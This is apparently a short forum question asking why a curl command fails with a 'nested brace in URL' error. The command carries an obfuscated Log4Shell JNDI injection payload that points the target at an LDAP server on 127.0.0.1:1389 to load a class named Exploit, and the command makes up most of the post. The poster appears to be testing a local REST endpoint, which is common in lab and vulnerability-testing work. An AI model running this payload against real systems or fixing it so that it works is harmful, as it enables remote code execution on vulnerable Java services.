I am getting a error when running the below code. Can you tell me what is wrong in the syntax. I have tried all the possibilities by putting ", double quotes, , etc. but no luck.
Error: curl: (3) nested brace in URL position 62:
curl 'http://localhost:8080/rest/users/user/updateuser?cmd=${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:1389/#Exploit}' -H 'ID:1234567' -H 'Content-Type:application/json' -H 'X-UserName:usern8' --data-raw '{"id": 1,"name": "Name","profession": "Profession"}'